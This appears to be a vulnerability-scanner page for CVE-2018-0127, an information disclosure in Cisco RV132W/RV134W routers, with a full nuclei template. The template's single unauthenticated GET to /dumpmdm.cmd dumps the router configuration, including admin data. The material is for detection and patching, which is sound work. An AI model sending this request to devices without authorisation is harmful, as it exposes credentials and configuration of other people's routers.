Cisco RV132W/RV134W Router - Information Disclosure

criticalseverity

9.8CVSS score

77.7%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Cisco RV132W ADSL2+ Wireless-N VPN Routers and Cisco RV134W VDSL2 Wireless-AC VPN Routers could allow an unauthenticated, remote attacker to view configuration parameters for an affected device via the web interface, which could lead to the disclosure of confidential information.

Impact

An attacker can exploit this vulnerability to gain sensitive information from the router.

Fix

Apply the latest firmware update provided by Cisco to fix the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/dumpmdm.cmd
Positive when: contains "Dump" and "MDM" and "cisco" and "admin" AND status 200

Run it with nuclei: nuclei -id CVE-2018-0127 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2018-0127

info:
  name: Cisco RV132W/RV134W Router - Information Disclosure
  author: jrolf
  severity: critical
  description: Cisco RV132W ADSL2+ Wireless-N VPN Routers and Cisco RV134W VDSL2 Wireless-AC VPN Routers could allow an unauthenticated, remote attacker to view configuration parameters for an affected device via the web interface, which could lead to the disclosure of confidential information.
  impact: |
    An attacker can exploit this vulnerability to gain sensitive information from the router.
  remediation: |
    Apply the latest firmware update provided by Cisco to fix the vulnerability.
  reference:
    - https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180207-rv13x_2
    - http://web.archive.org/web/20211207054802/https://securitytracker.com/id/1040345
    - https://nvd.nist.gov/vuln/detail/CVE-2018-0127
    - http://www.securitytracker.com/id/1040345
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-0127
    cwe-id: CWE-306,CWE-200
    epss-score: 0.77726
    epss-percentile: 0.9957
    cpe: cpe:2.3:o:cisco:rv132w_firmware:1.0.0.1:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: cisco
    product: rv132w_firmware
  tags: cve,cve2018,cisco,router,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/dumpmdm.cmd"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Dump"
          - "MDM"
          - "cisco"
          - "admin"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from